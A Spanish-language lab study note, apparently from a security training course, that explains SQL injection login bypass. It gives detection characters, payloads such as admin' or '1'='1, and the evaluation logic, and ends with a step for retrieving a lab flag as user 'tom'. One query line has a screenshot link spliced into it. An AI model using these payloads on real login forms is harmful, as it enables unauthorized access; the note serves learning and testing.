Bypass de Autenticación y Evaluación de Consultas SQL

🔐 Omitir Autenticación (Bypass Login)

La aplicación usa una consulta como:
Pasted image 20251208183403.png

SELECT * FROM logins WHERE username='admin' AND password='p@ssw0rd';

Si devuelve algún registro → login exitoso.
Si no devuelve registros → Login Failed.


🕵️‍♂️ Descubriendo SQL Injection

Para detectar vulnerabilidad, probamos caracteres especiales:

Carga útil URL encoded
' %27
" %22
# %23
; %3B
) %29

Si ponemos ' como usuario, ocurre error SQL:

SELECT * FROM logins WHERE username=''' AND password='something';
Danger

Esto confirma que la consulta es vulnerable a inyección SQL.


🧨 Inyección con OR

Queremos que la consulta siempre sea TRUE, sin importar usuario/contraseña.

Payload clásica:

admin' or '1'='1

Consulta resultante:

SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='something';

Evaluación:
Pasted image 20251208183525.png

  1. '1'='1' → TRUE

  2. password='something' → FALSE

  3. TRUE AND FALSE → FALSE

  4. Luego viene el username='admin'

  5. Si ese registro existe → TRUE final

Pasted image 20251208183535.png

Success

Login exitoso sin contraseña real.


🔐 ¿Y si NO sabemos un usuario válido?

Si usamos:

notAdmin' OR '1'='1

Pasted image 20251208183555.png
→ Falla, porque notAdmin no existe.
Pasted image 20251208183633.png
Entonces hacemos el bypass en el campo contraseña, así:

something' OR '1'='1

Consulta:

SELECT * FROM logins WHERE user![Pasted image 20251208183717.png](/img/user/Gorosolea/Imagenes/Pasted%20image%2020251208183717.png)name='notAdmin' OR '1'='1' AND password='something' OR '1'='1';

Pasted image 20251210170157.png
Pasted image 20251210170204.png

Success

Esto SIEMPRE devuelve TRUE → login exitoso como el primer usuario de la tabla.

Incluso funciona con:

' or '1'='1

📝 ¿Qué debes hacer en el LAB?

La pregunta dice:

Intente iniciar sesión como usuario 'tom'. ¿Cuál es el valor de la bandera?

Esto significa:

  1. En el formulario del laboratorio, pon de usuario:
tom' or '1'='1

Porque existe el usuario tom
Y contraseña cualquiera
{CD587893-7331-4710-98F7-B1F0F78A6963}.png
{6B2652A9-0606-489F-815F-340DB4753858}.png